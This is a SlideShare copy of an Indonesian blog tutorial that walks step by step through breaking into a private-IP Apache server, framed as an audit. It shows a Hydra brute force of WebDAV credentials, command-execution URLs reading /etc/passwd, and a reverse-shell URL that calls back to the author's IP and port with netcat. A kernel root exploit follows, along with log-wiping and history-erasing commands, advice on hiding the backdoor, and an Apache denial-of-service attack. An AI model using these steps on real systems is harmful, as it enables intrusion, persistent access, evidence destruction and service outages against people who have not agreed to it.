SlideShare a Scribd company logo
HACKING ANATOMY (PLUS REAL HACKING EXAMPLE)
Oleh:
Ade Ismail Isnan
@inan19x
http://inan.tibandung.com
ade.ismail.isnan@gmail.com
Copyleft 2011
You are legally to copy and redistribute this document as much as you wish...
This document was originally posted here:
http://blog.tibandung.com/hacking-anatomy-plus-real-hacking-example/
Dalam melakukan hacking tentu ada langkah-langkah yang kita lakukan. Sebenarnya langkah-langkah
itu adalah anatomi kita dalam melakukan hacking dan masing-masing memiliki tujuan tersendiri
sehingga dengan tercapainya mini-goal tersebut, kita bisa maju ke langkah selanjutnya. Tetapi supaya
tidak bosan baca teori anatomi hackingnya, di post ini juga akan diberikan contoh real hacking nya
tentu saja yang sudah dibagi-bagi per stage anatominya.
Hacking Anatomy
Hacking Stage 0: Define the Target
Tentukan target yang akan kita serang. Target bisa didapat dari permintaan sang target sendiri untuk
audit keamanannya, atau karena hanya iseng, ataupun karena dendam sama target hahah. Untuk contoh
kali ini, target saya adalah sebuah server internal ber-IP private (192.168.66.87) yang ingin di audit
keamanannya (jadi bukan karena dendam hehe).
Hacking Stage 1: Footprinting
Tahap selanjutnya adalah tahap dimana kita berusaha mencari informasi mengenai target sebanyak
mungkin. Untuk contoh kali ini saya akan mencari informasi tentang si 192.168.66.87 sebanyak
mungkin.. Berikut informasi yang bisa saya dapatkan:
OS Fingerprinting dengan nmap
Bisa coba juga dengan opsi “nmap -sV” untuk mengetahui versi dari masing-masing servis yang
running di target tersebut. Setelah mengetahui versinya, bisa dimanfaatkan untuk dicari di forum-forum
atau milis tentang bug/vulnerability dari versi service-nya. Misal Apache target adalah versi 2.0.52,
tinggal cari security hole Apache/2.0.52. Yak, teorinya semudah itu. Banyak jalan menuju Roma,
semoga beruntung ya hahah.
Lanjuutt… saya mendapat informasi bahwa webservernya adalah Apache versi 2.0.52. Dengan
kesalahan konfigurasi dari ServerTokens webserver yang di-configure sangat spoiler sekali (Full)
didapatkan informasi distro target adalah CentOS Linux lengkap dengan modul-modul yang aktif di
webserver tersebut.
Mengais Informasi dari HTTP Response
Jangan terlalu terpaku pada informasi yang saya dapatkan ya. Masih banyak informasi yang bisa
didapatkan pada stage 1 ini. Diantaranya nih:
1. Spesifikasi hardware target
2. Siapa sysadmin nya
3. Dimana lokasinya
4. Topologi antara kita (penyerang) dan target, melewati berapa hop, ada di subnet mana, belakang
firewall atau engga, dst
5. dan lain sebagainya yang bisa dijadikan informasi seputar target… karena poin 1-4 di atas ini
kadang bisa sangat berguna loh untuk kelanjutan stage hacking ke stage selanjutnya.
Hacking Stage 2: Scanning
Tahap berikutnya adalah melakukan scanning pada target untuk memetakan kelemahan dan kekuatan
target. Dan tentu saja yang menyenangkan adalah bagian kelemahan target lah.. hehe. Sebenarnya
nmap di atas juga bisa dikategorikan melakukan scanning, tapi scanning yang saya lakukan di atas
masih tergolong ringan jadi lebih condong tergolong tahap perkenalan (footprinting). Seharusnya stage
scanning ini sudah lebih intensif dari sekedar mencari informasi atau dengan kata lain sudah ada
beberapa tindakan destruktif ringan yang terjadi pada target. Saya menggunakan software OpenVAS
untuk men-scanning target sebagai berikut:
Vulnerability Report pada Target dengan OpenVAS
Dari hasil scan didapatkan informasi bagian mana saja yang vulnerable pada target. Dengan adanya
tahap ini, diharapkan scope hacking semakin menyempit alias kita semakin fokus bagian target mana
aja yang sebaiknya kita eksploitasi.
Hacking Stage 3: Enumeration
Tahap enumeration adalah tahap melakukan serangan. Pada tahap inilah ada babak gugur (hacker
menyerah), exploitasi gagal, atau exploitasi berhasil hahah. Ini adalah tahap puter-puter otak bagaimana
caranya kita bisa masuk ke sistem. Kadang bisa menghabiskan waktu berjam, hari, bulan, taun di tahap
ini. Untuk percobaan hacking kali ini, kita coba ambil contoh vulnerability pada WebDAV (module
mod_dav Apache) yang dilaporkan sama OpenVAS. Kita fokus dulu untuk hack WebDAV nya…
Biasanya WebDAV ada di direktori /webdav. Default config dan beberapa tutorial webdav juga
biasanya mensugesti untuk install webdav di direktori /webdav. Apalagi kalau pada tahap 1 tadi kita
dapat info kalau sysadmin target ternyata males ganti nama direktori dan sukanya nelen bulet-bulet
tutorial orang di internet (tuh kan penting kenal sysadminnya juga heheh). Mari kita coba enumerasi
webdav target..
HTTP Respon 401
Nah.. bener kan ada folder /webdav/… tapi ternyata untuk masuk folder /webdav/ dibutuhkan
authentikasi dulu (terlihat dari respon server HTTP 401 Authorization Required), cuma authorized user
yang boleh read dan write isi folder webdav. Sekarang coba masukin user password ngasal… Saya
request HTTP HEAD untuk direktori /webdav/ dengan tipe Authorization “Basic” dan username
password yang ngasal…
Respon Server Ketika HTTP Auth Salah
Terlihat masih sama responnya, HTTP 401 hehe. Username dan password diatas itu sudah dikonversi
ke format base64 menjadi “YWRtaW5pc3RyYXRvcjphc2RmMTIz”. Kenapa base64? Hmm untuk
mekanisme autentikasi HTTP menurut RFC-2617 adalah “username:password” di-encode menjadi
format base64. Jadi untuk contoh ngasal ini “YWRtaW5pc3RyYXRvcjphc2RmMTIz” =
“administrator:asdf123″. Untuk meng-encode dan decode banyak kok toolnya di internet. Salah satunya
yang saya gunakan adalah ini.
Ayo jangan putus asa, kita coba pakai bantuan tools Hydra untuk membruteforce user dan password
webdav ini. Akhirnya tidak lama ditemukanlah username dan passwordnya. Binggohh!! login:
administrator dengan password: iloveyou hahahay..
Enumerasi WebDAV dengan Bruteforce
Saya memanfaatkan user.lst dan password.lst John The Ripper buat si Hydra melakukan bruteforce.
Makanya ada di direktori “john-1.7.7″ kalo diteliti konsol di atas ini hehe.. Terlihat juga di atas ternyata
dilakukan 9507 percobaan login ke webdav.
Hacking Stage 4: Gaining Access
Tahap ini adalah tahap masuk ke dalam sistem. Ada dua kemungkinan akibat stage sebelumnya. Jika
beribu enumerasi gagal sang hacker bisa langsung skip ke stage terakhir: Denial of Service dengan
memenuhi service target dengan segelumit (halah) sebanyak-banyak request, sehingga server menjadi
sibuk melayani request tersebut. Kalau terlalu sibuk bisa bikin service crash sampai yang paling parah
si target bisa restart atau down. Tetapi kalau ternyata di stage sebelumnya salah satu enumerasi
berhasil, silahkan bisa baca paragraf selanjutnya di bawah ini hehe.
Gaining access bisa dengan mencari credentials login atau misalnya menginjeksi shellcode pada
program/service yang vulnerable sehingga target bisa mengeksekusi binary yang kita inginkan pada
systemnya (biasanya sih, prefer kalo target mengeksekusi /bin/sh atau /bin/bash untuk kita sehingga
kita bisa dapat shell).
Tetapi untuk contoh kali ini, berhubung di stage sebelumnya kita sudah mendapatkan credentials login
(user dan password), mari kita masuk ke webdav menggunakan webdav client bernama Cadaver.
Ternyata kita bisa ngapain aja di folder webdav ini. Horray! Hehe.
Break-in ke Direktori /webdav/
Hacking Stage 5: Escalating Privilege
Tahap ini adalah tahap untuk meningkatkan privilege jika ternyata kita hanya bisa menguasai target
dengan privilege terbatas. Skip step ini jika kita sudah dapat root. Hahah.. beruntung sekali langsung
dapet root hehe. Tapi untuk contoh kasus kita, di tahap sebelumnya kita sudah masuk ke folder webdav
kan.. Nah, sekarang puter otak lagi bagaimana caranya agar saya bisa eskalasi privilege a.k.a menjadi
root. Hmm.. Saya coba menggunakan file PHP yang bisa membantu saya mengeksekusi command-
command di system target. Pertama-tama sih coba upload dulu file php pake perintah PUT tentu saja…
dan ternyata bisa.. Heheh..
Mengupload File ke Folder WebDAV
Setelah php_backdoor.php dan php_cmd.php di upload, buka browser kesayangan dan ketik URL
http://192.168.66.87/webdav/php_cmd.php?cmd=<shell command biasa>. Berikut beberapa yang saya
coba dan hasil outputnya:
URL Output
http://192.168.66.87/webdav/php_cmd.php?
cmd=cat%20/etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
...dst...
http://192.168.66.87/webdav/php_cmd.php?
cmd=uname%20-r
2.6.9-55.ELsmp
Hmm saya coba upload file pamungkas bernama “php-reverse-shell.php” yang saya dapat dari
http://pentestmonkey.net/tools/web-shells/php-reverse-shell untuk mendapatkan shell target
memanfaatkan php. Modifikasi sedikit agar tujuan menuju IP saya dan portnya yang sudah menunggu
heheh. Tinggal ketikkan ini di URL:
http://192.168.66.87/webdav/php-reverse-shell.php?ip=10.5.239.236&port=9999
Sementara netcat (nc) sudah stenbai listening di komputer saya dan spawn the target’s shell.. Horray!
Gaining Root Access
Keterangan gambar di atas:
• Sebelumnya saya sudah mengeksekusi netcat untuk stenbai listening di port 9999. Kemudian
kita eksekusi URL http://192.168.66.87/webdav/php-reverse-shell.php?
ip=10.5.239.236&port=9999 yang akan memberikan shell di netcat saya.
• Saya mengetikkan perintah “id” untuk mengetahui jadi siapa saya di shell target ini
• Saya mengetikkan “pwd” untuk mengetahui lokasi aktif di shell (ternyata di folder /)
• Browsing-browsing mencari dimana lokasi folder “webdav”. Awalnya sih karena intip-intip isi
file httpd.conf/webdav.conf
• Mengeksekusi exploit local escalation privilege karena ternyata kernelnya sudah jadul (2.6.9).
“linux-sendpage3″ ini saya upload via Cadaver. Jadi sekarang tinggal eksekusi aja binary “run”
nya
• Who am I? I’m w00t!
Hacking Stage 6: Pilfering
Tahap ini adalah tahap yang tidak terlalu wajib dilakukan. Menurut kamus sih pilfering artinya
pencurian haha… Ya kita bisa mencuri apa saja yang ada pada target. Misalnya dumping file
username/password pada system (/etc/passwd dan /etc/shadow), masuk ke database mysql dan jalan-
jalan liat table databasenya, atau curi-curi foto dan video. Sapa tau ada video skandal sysadminnya
hahah.
Hacking Stage 7: Covering Tracks
Tahap selanjutnya adalah tahap yang biasanya malah lupa dilakukan orang yang berhasil break into
target’s system. Padahal tim ahli forensik bisa menangkap kita karena track record ini. Bukti di
pengadilan ya track record ini juga. Makanya kalau habis masuk rumah orang tanpa izin jangan lupa di
pel tuh bekas lumpur di lantai dan sidik jari di gagang pintu hehe.
Ini contoh log terakhir yang ada di target.. IP kita keliatan toh.. Ooo hahahahah…
Access Log
Silahkan berkreasi untuk membersihkan log nya. Contoh di atas ini adalah log HTTP request.. Mungkin
bisa di edit untuk hapus line-line yang mencurigakan hehe. Ada lagi log session SSH kita juga tentu
saja.. jangan lupa. Untuk membuat session SSH tidak tercatat, jangan lupa ketik command ‘unset
HISTFILE’ dan ‘history -c’ setelah beraktifitas di shell target. Atau bisa dengan mengetikkan command
‘HISTFILE=/dev/null’ sebelum beraktifitas di shell target sedemikian sehingga variable HISTFILE
akan selalu dicatat ke /dev/null (=buang) oleh shell target.
*clue* Di sistem target (karena sistemnya *nix), ada 3 log file penting, yang mencatat..:
1. WTMP – setiap log in/off, waktu log in/off, tty, host
2. UTMP – siapa yang online saat ini
3. Lastlog – dari mana sumber log in terakhir
Lokasi file ini biasanya di /etc/ atau /var/adm/ atau /var/log dsb. Nah, silakan cari cara untuk cover
track yang nanganin dan ngebersihin 3 file ini hehe
Hacking Stage 8: Creating Backdoors
Ada banyak cara membuat backdoor. Sesuai arti katanya, backdoor artinya pintu belakang atau jalan
alternatif untuk kita masuk ke dalam sistem itu untuk kebutuhan kedepan hahah. Kalau bisa dibuat
semudah mungkin untuk masuknya. Jangan serumit waktu pertama kali masuk ke target. Contoh
backdoor bisa saja menginstall service yang listen pada port rahasia yang memprovide kita akses
langsung ke shell target, membuat user baru, dan lain sebagainya.
Untuk contoh kita tadi, backdoor kita tentu saja file php-reverse-shell.php di URL rahasia kita:
http://192.168.66.87/webdav/php-reverse-shell.php?ip=10.5.239.236&port=9999
Jadi kedepannya kalau kita mau bertamu ke target lagi, tinggal siapin link di atas ini plus netcat di
komputer kita yang set listen di port 9999. Tips: kalau bisa nama file backdoornya jangan php-reverse-
shell.php… sangat mencurigakan.. hahahah.. sedikit kreatif untuk rename file dan sembunyiin di
folder-folder tertentu haha.
Hacking Stage 9: Denial of Service
Denial of Service (DoS) adalah ancaman yang paling sering terjadi di dunia security. Siapa saja bisa
melakukan dan ini bisa terjadi kapan saja, tidak harus karena ulah hacker, bahkan bisa terjadi karena
ulah anak-anak alay yang gak ngerti komputer! Sesuai artinya, denial of service ya berarti si target
menolak menjalankan service seperti biasanya. Katakanlah target kita adalah website registrasi e-KTP.
Denial of service berarti adalah si server target e-KTP tidak bisa menjalankan service e-KTP untuk
anda karena terlalu sibuk/down. Bayangkan betapa kecewanya kita dan betapa ruginya instansi e-KTP
yang tidak bisa melayani (roda bisnis macet -halah).
Faktor-faktor yang menyebabkan denial of service ada banyak. Ada yang karena diserang ribuan rikues
bertubi-tubi terus bikin si server sibuk, sampai yang emang karena si penyerang yang berhasil break-in
(seperti kita di stage sebelumnya) sengaja ngetik command ‘/etc/init.d/httpd stop’. Ya kalau httpd stop
sama aja dengan menolak layanan web dari client ‘kan??
Ini contoh Denial of Service akibat ulah anak-anak alay yang bahkan gak ngerti hacking sekalipun:
(dari Wikipedia)
This describes a situation where a website ends up denied, not due to a deliberate attack by
a single individual or group of individuals, but simply due to a sudden enormous spike in
popularity. This can happen when an extremely popular website posts a prominent link to a
second, less well-prepared site, for example, as part of a news story. The result is that a
significant proportion of the primary site’s regular users — potentially hundreds of
thousands of people — click that link in the space of a few hours, having the same effect on
the target website as a DDoS attack. A VIPDoS is the same, but specifically when the link
was posted by a celebrity.
An example of this occurred when Michael Jackson died in 2009. Websites such as Google
and Twitter slowed down or even crashed.Many sites’ servers thought the requests were
from a virus or spyware trying to cause a Denial of Service attack, warning users that their
queries looked like “automated requests from a computer virus or spyware application”.
Untuk contoh melakukan serang DoS kali ini, saya akan serang service Apache target (192.168.66.87)
sampai mabok karena request partial content yang bertubi-tubi..
DoS Attack
Sambil mengeksekusi program tersebut saya coba menjalankan file test.html yang cuma berisi kata
‘hello world’ dan…. butuh waktu > 3 menit.. bayangkan betapa sibuknya si server. Ini masih bisa di
rekayasa dengan membuat parallel reqs nya lebih besar lagi dan loop lebih banyak lagi.. bisa dijamin
mabok Apachenya. Hehehe.
Penutup
Demikianlah stage hacking dan contoh nyata nya di setiap stage. Hasil akhir setiap stage akan
berpengaruh ke stage selanjutnya. Sekian yang bisa saya sampaikan, semoga bermanfaat.

More Related Content

PPTX
PBO-2201020056.pptx
PDF
Kemendikbudristek No. 033_2022 Capaian Pembelajaran DKV Kelas X.pdf
DOCX
ATP DASAR-DASAR TJKT REFERENSI 2 OK.docx
PDF
3 rekayasa kebutuhan
DOCX
Soal essay 1 jarkom
PDF
Lembar penilaian rekayasa perangkat lunak baru
DOCX
SOAL ESSAY HOTS KOMPUTER JARINGAN DASAR KELAS X MULTIMEDIA
PDF
Laporan mail server
PBO-2201020056.pptx
Kemendikbudristek No. 033_2022 Capaian Pembelajaran DKV Kelas X.pdf
ATP DASAR-DASAR TJKT REFERENSI 2 OK.docx
3 rekayasa kebutuhan
Soal essay 1 jarkom
Lembar penilaian rekayasa perangkat lunak baru
SOAL ESSAY HOTS KOMPUTER JARINGAN DASAR KELAS X MULTIMEDIA
Laporan mail server

What's hot (20)

PPTX
Pemodelan perangkat lunak
PPTX
Algoritma & Pemrograman
PPSX
03 pseudocode
PDF
Modul Logika dan algoritma
DOCX
Modul Ajar Informatika Kelas 8 SMP Fase D
DOCX
Laporan Aplikasi Kasir Sederhana (KOPERASI ABC)
PPTX
System development life cycle (sdlc) ppt
PDF
TIK Bab 6 kelas 7.pdf
PDF
PPT CANVA.pdf
PDF
MODUL AJAR INFORMATIKA 3 - SISTEM KOMPUTER.pdf
DOCX
Kisi kisi soal dasar desain grafis kelas xi multimedia
PPTX
Komponen sistem komputer ppt
PPTX
Tugas Powerpoint Pemrograman Dasar
PPTX
Materi Teknologi Layanan Jaringan Kelas XII.pptx
PDF
Berpikir komputasional ppt @ramli jm
PDF
Algoritma dan Pemrograman Kelas 9
PPTX
Tutorial membuat motion graphic after effect & premiere
PDF
Presentasi Bab 6 Analisis Data Informatika
PDF
Analisis Data Kelas 9
Pemodelan perangkat lunak
Algoritma & Pemrograman
03 pseudocode
Modul Logika dan algoritma
Modul Ajar Informatika Kelas 8 SMP Fase D
Laporan Aplikasi Kasir Sederhana (KOPERASI ABC)
System development life cycle (sdlc) ppt
TIK Bab 6 kelas 7.pdf
PPT CANVA.pdf
MODUL AJAR INFORMATIKA 3 - SISTEM KOMPUTER.pdf
Kisi kisi soal dasar desain grafis kelas xi multimedia
Komponen sistem komputer ppt
Tugas Powerpoint Pemrograman Dasar
Materi Teknologi Layanan Jaringan Kelas XII.pptx
Berpikir komputasional ppt @ramli jm
Algoritma dan Pemrograman Kelas 9
Tutorial membuat motion graphic after effect & premiere
Presentasi Bab 6 Analisis Data Informatika
Analisis Data Kelas 9

Similar to Hacking Anatomy (20)

PPTX
Basic metasploit
PDF
SIM 10 : Nahdiyah Puji Lestari. Prof.Dr. Hapzi Ali, MM,CMA.Informasi Keamanan
PDF
Belajar hacking website
PDF
SIM, Fitri Febriani, Hapzi Ali, Keamanan Sistem Informasi, Universitas Mercu ...
PDF
Belajar hacking-website-d
PDF
How to secure your fckeditor
PDF
PDF
Tutorial dasar laravel 4
PDF
Tutorial dasar laravel
PDF
Tutorial dasar laravel
PDF
Tutorial Penggunaan Laravel
PDF
Tutorial dasar-laravel
PPTX
Basic Metasploit
PDF
Pelanggaran etika internet
PDF
10,sim forum quiz,amelia diana angesti,hapzi ali,information security,univers...
PDF
Wawan tutorial-zend-bagian-1-3
PDF
Safii optimasi
PPT
Workshop web hacking 9 februari 2014
PDF
Integrasi slims atau eprints dengan dspace
PDF
Sim,pert 10 , yasmin navisa, hapzi ali, keamanan sistem informasi,universitas...
Basic metasploit
SIM 10 : Nahdiyah Puji Lestari. Prof.Dr. Hapzi Ali, MM,CMA.Informasi Keamanan
Belajar hacking website
SIM, Fitri Febriani, Hapzi Ali, Keamanan Sistem Informasi, Universitas Mercu ...
Belajar hacking-website-d
How to secure your fckeditor
Tutorial dasar laravel 4
Tutorial dasar laravel
Tutorial dasar laravel
Tutorial Penggunaan Laravel
Tutorial dasar-laravel
Basic Metasploit
Pelanggaran etika internet
10,sim forum quiz,amelia diana angesti,hapzi ali,information security,univers...
Wawan tutorial-zend-bagian-1-3
Safii optimasi
Workshop web hacking 9 februari 2014
Integrasi slims atau eprints dengan dspace
Sim,pert 10 , yasmin navisa, hapzi ali, keamanan sistem informasi,universitas...

More from Ade Ismail Isnan (8)

PDF
Combating Phishing Emails with SPF, DKIM, DMARC
PDF
Red-DFIR-Blue-Gov-Team Cyber Simulation Exercises.pdf
PPTX
Cyber Security Awareness
PDF
First Time Hacking (Bahasa Indonesia)
PPSX
APT & Data Breach - Lesson Learned
PPSX
Cyber Security 101
PDF
Intrusion Prevention Honeypot System
PDF
Modul Cisco Packet Tracer
Combating Phishing Emails with SPF, DKIM, DMARC
Red-DFIR-Blue-Gov-Team Cyber Simulation Exercises.pdf
Cyber Security Awareness
First Time Hacking (Bahasa Indonesia)
APT & Data Breach - Lesson Learned
Cyber Security 101
Intrusion Prevention Honeypot System
Modul Cisco Packet Tracer

Recently uploaded (10)

PPTX
Fiber_expert_development_program_rev.1.pptx
PPTX
Introduction Financial Consolidatioan Multi currency integration to all ERP o...
PDF
Struktur Data - 4 Pointer & Linked List
PPTX
BAHASA MELAYU STANDARD kwjekqjeljwqelkqw
PPTX
Materi-1 Pengantar Infrastruktur Sistem Informasi.pptx
PPTX
Materi Workshop Keuangan Digital 2025.pptx
PDF
Struktur Data - 2 Pengantar Struktur Data
PPTX
CARA AKSES KE INTERNET MELALUI WIFI ATAU LAN
PDF
Struktur Data - 3 Array: Konsep & Implementasi
PDF
Struktur Data - 1 Kontrak Perkuliahan
Fiber_expert_development_program_rev.1.pptx
Introduction Financial Consolidatioan Multi currency integration to all ERP o...
Struktur Data - 4 Pointer & Linked List
BAHASA MELAYU STANDARD kwjekqjeljwqelkqw
Materi-1 Pengantar Infrastruktur Sistem Informasi.pptx
Materi Workshop Keuangan Digital 2025.pptx
Struktur Data - 2 Pengantar Struktur Data
CARA AKSES KE INTERNET MELALUI WIFI ATAU LAN
Struktur Data - 3 Array: Konsep & Implementasi
Struktur Data - 1 Kontrak Perkuliahan

Hacking Anatomy

  • 1. HACKING ANATOMY (PLUS REAL HACKING EXAMPLE) Oleh: Ade Ismail Isnan @inan19x http://inan.tibandung.com ade.ismail.isnan@gmail.com Copyleft 2011 You are legally to copy and redistribute this document as much as you wish...
  • 2. This document was originally posted here: http://blog.tibandung.com/hacking-anatomy-plus-real-hacking-example/
  • 3. Dalam melakukan hacking tentu ada langkah-langkah yang kita lakukan. Sebenarnya langkah-langkah itu adalah anatomi kita dalam melakukan hacking dan masing-masing memiliki tujuan tersendiri sehingga dengan tercapainya mini-goal tersebut, kita bisa maju ke langkah selanjutnya. Tetapi supaya tidak bosan baca teori anatomi hackingnya, di post ini juga akan diberikan contoh real hacking nya tentu saja yang sudah dibagi-bagi per stage anatominya. Hacking Anatomy Hacking Stage 0: Define the Target Tentukan target yang akan kita serang. Target bisa didapat dari permintaan sang target sendiri untuk audit keamanannya, atau karena hanya iseng, ataupun karena dendam sama target hahah. Untuk contoh kali ini, target saya adalah sebuah server internal ber-IP private (192.168.66.87) yang ingin di audit keamanannya (jadi bukan karena dendam hehe).
  • 4. Hacking Stage 1: Footprinting Tahap selanjutnya adalah tahap dimana kita berusaha mencari informasi mengenai target sebanyak mungkin. Untuk contoh kali ini saya akan mencari informasi tentang si 192.168.66.87 sebanyak mungkin.. Berikut informasi yang bisa saya dapatkan: OS Fingerprinting dengan nmap Bisa coba juga dengan opsi “nmap -sV” untuk mengetahui versi dari masing-masing servis yang running di target tersebut. Setelah mengetahui versinya, bisa dimanfaatkan untuk dicari di forum-forum atau milis tentang bug/vulnerability dari versi service-nya. Misal Apache target adalah versi 2.0.52, tinggal cari security hole Apache/2.0.52. Yak, teorinya semudah itu. Banyak jalan menuju Roma, semoga beruntung ya hahah. Lanjuutt… saya mendapat informasi bahwa webservernya adalah Apache versi 2.0.52. Dengan kesalahan konfigurasi dari ServerTokens webserver yang di-configure sangat spoiler sekali (Full) didapatkan informasi distro target adalah CentOS Linux lengkap dengan modul-modul yang aktif di webserver tersebut. Mengais Informasi dari HTTP Response
  • 5. Jangan terlalu terpaku pada informasi yang saya dapatkan ya. Masih banyak informasi yang bisa didapatkan pada stage 1 ini. Diantaranya nih: 1. Spesifikasi hardware target 2. Siapa sysadmin nya 3. Dimana lokasinya 4. Topologi antara kita (penyerang) dan target, melewati berapa hop, ada di subnet mana, belakang firewall atau engga, dst 5. dan lain sebagainya yang bisa dijadikan informasi seputar target… karena poin 1-4 di atas ini kadang bisa sangat berguna loh untuk kelanjutan stage hacking ke stage selanjutnya. Hacking Stage 2: Scanning Tahap berikutnya adalah melakukan scanning pada target untuk memetakan kelemahan dan kekuatan target. Dan tentu saja yang menyenangkan adalah bagian kelemahan target lah.. hehe. Sebenarnya nmap di atas juga bisa dikategorikan melakukan scanning, tapi scanning yang saya lakukan di atas masih tergolong ringan jadi lebih condong tergolong tahap perkenalan (footprinting). Seharusnya stage scanning ini sudah lebih intensif dari sekedar mencari informasi atau dengan kata lain sudah ada beberapa tindakan destruktif ringan yang terjadi pada target. Saya menggunakan software OpenVAS untuk men-scanning target sebagai berikut: Vulnerability Report pada Target dengan OpenVAS Dari hasil scan didapatkan informasi bagian mana saja yang vulnerable pada target. Dengan adanya tahap ini, diharapkan scope hacking semakin menyempit alias kita semakin fokus bagian target mana aja yang sebaiknya kita eksploitasi. Hacking Stage 3: Enumeration Tahap enumeration adalah tahap melakukan serangan. Pada tahap inilah ada babak gugur (hacker menyerah), exploitasi gagal, atau exploitasi berhasil hahah. Ini adalah tahap puter-puter otak bagaimana caranya kita bisa masuk ke sistem. Kadang bisa menghabiskan waktu berjam, hari, bulan, taun di tahap ini. Untuk percobaan hacking kali ini, kita coba ambil contoh vulnerability pada WebDAV (module mod_dav Apache) yang dilaporkan sama OpenVAS. Kita fokus dulu untuk hack WebDAV nya… Biasanya WebDAV ada di direktori /webdav. Default config dan beberapa tutorial webdav juga biasanya mensugesti untuk install webdav di direktori /webdav. Apalagi kalau pada tahap 1 tadi kita dapat info kalau sysadmin target ternyata males ganti nama direktori dan sukanya nelen bulet-bulet tutorial orang di internet (tuh kan penting kenal sysadminnya juga heheh). Mari kita coba enumerasi webdav target..
  • 6. HTTP Respon 401 Nah.. bener kan ada folder /webdav/… tapi ternyata untuk masuk folder /webdav/ dibutuhkan authentikasi dulu (terlihat dari respon server HTTP 401 Authorization Required), cuma authorized user yang boleh read dan write isi folder webdav. Sekarang coba masukin user password ngasal… Saya request HTTP HEAD untuk direktori /webdav/ dengan tipe Authorization “Basic” dan username password yang ngasal… Respon Server Ketika HTTP Auth Salah Terlihat masih sama responnya, HTTP 401 hehe. Username dan password diatas itu sudah dikonversi ke format base64 menjadi “YWRtaW5pc3RyYXRvcjphc2RmMTIz”. Kenapa base64? Hmm untuk mekanisme autentikasi HTTP menurut RFC-2617 adalah “username:password” di-encode menjadi format base64. Jadi untuk contoh ngasal ini “YWRtaW5pc3RyYXRvcjphc2RmMTIz” = “administrator:asdf123″. Untuk meng-encode dan decode banyak kok toolnya di internet. Salah satunya yang saya gunakan adalah ini. Ayo jangan putus asa, kita coba pakai bantuan tools Hydra untuk membruteforce user dan password webdav ini. Akhirnya tidak lama ditemukanlah username dan passwordnya. Binggohh!! login: administrator dengan password: iloveyou hahahay..
  • 7. Enumerasi WebDAV dengan Bruteforce Saya memanfaatkan user.lst dan password.lst John The Ripper buat si Hydra melakukan bruteforce. Makanya ada di direktori “john-1.7.7″ kalo diteliti konsol di atas ini hehe.. Terlihat juga di atas ternyata dilakukan 9507 percobaan login ke webdav. Hacking Stage 4: Gaining Access Tahap ini adalah tahap masuk ke dalam sistem. Ada dua kemungkinan akibat stage sebelumnya. Jika beribu enumerasi gagal sang hacker bisa langsung skip ke stage terakhir: Denial of Service dengan memenuhi service target dengan segelumit (halah) sebanyak-banyak request, sehingga server menjadi sibuk melayani request tersebut. Kalau terlalu sibuk bisa bikin service crash sampai yang paling parah si target bisa restart atau down. Tetapi kalau ternyata di stage sebelumnya salah satu enumerasi berhasil, silahkan bisa baca paragraf selanjutnya di bawah ini hehe. Gaining access bisa dengan mencari credentials login atau misalnya menginjeksi shellcode pada program/service yang vulnerable sehingga target bisa mengeksekusi binary yang kita inginkan pada systemnya (biasanya sih, prefer kalo target mengeksekusi /bin/sh atau /bin/bash untuk kita sehingga kita bisa dapat shell). Tetapi untuk contoh kali ini, berhubung di stage sebelumnya kita sudah mendapatkan credentials login (user dan password), mari kita masuk ke webdav menggunakan webdav client bernama Cadaver. Ternyata kita bisa ngapain aja di folder webdav ini. Horray! Hehe. Break-in ke Direktori /webdav/ Hacking Stage 5: Escalating Privilege Tahap ini adalah tahap untuk meningkatkan privilege jika ternyata kita hanya bisa menguasai target dengan privilege terbatas. Skip step ini jika kita sudah dapat root. Hahah.. beruntung sekali langsung dapet root hehe. Tapi untuk contoh kasus kita, di tahap sebelumnya kita sudah masuk ke folder webdav kan.. Nah, sekarang puter otak lagi bagaimana caranya agar saya bisa eskalasi privilege a.k.a menjadi root. Hmm.. Saya coba menggunakan file PHP yang bisa membantu saya mengeksekusi command- command di system target. Pertama-tama sih coba upload dulu file php pake perintah PUT tentu saja…
  • 8. dan ternyata bisa.. Heheh.. Mengupload File ke Folder WebDAV Setelah php_backdoor.php dan php_cmd.php di upload, buka browser kesayangan dan ketik URL http://192.168.66.87/webdav/php_cmd.php?cmd=<shell command biasa>. Berikut beberapa yang saya coba dan hasil outputnya: URL Output http://192.168.66.87/webdav/php_cmd.php? cmd=cat%20/etc/passwd root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync ...dst... http://192.168.66.87/webdav/php_cmd.php? cmd=uname%20-r 2.6.9-55.ELsmp Hmm saya coba upload file pamungkas bernama “php-reverse-shell.php” yang saya dapat dari http://pentestmonkey.net/tools/web-shells/php-reverse-shell untuk mendapatkan shell target memanfaatkan php. Modifikasi sedikit agar tujuan menuju IP saya dan portnya yang sudah menunggu heheh. Tinggal ketikkan ini di URL: http://192.168.66.87/webdav/php-reverse-shell.php?ip=10.5.239.236&port=9999 Sementara netcat (nc) sudah stenbai listening di komputer saya dan spawn the target’s shell.. Horray!
  • 9. Gaining Root Access Keterangan gambar di atas: • Sebelumnya saya sudah mengeksekusi netcat untuk stenbai listening di port 9999. Kemudian kita eksekusi URL http://192.168.66.87/webdav/php-reverse-shell.php? ip=10.5.239.236&port=9999 yang akan memberikan shell di netcat saya. • Saya mengetikkan perintah “id” untuk mengetahui jadi siapa saya di shell target ini • Saya mengetikkan “pwd” untuk mengetahui lokasi aktif di shell (ternyata di folder /) • Browsing-browsing mencari dimana lokasi folder “webdav”. Awalnya sih karena intip-intip isi file httpd.conf/webdav.conf • Mengeksekusi exploit local escalation privilege karena ternyata kernelnya sudah jadul (2.6.9). “linux-sendpage3″ ini saya upload via Cadaver. Jadi sekarang tinggal eksekusi aja binary “run”
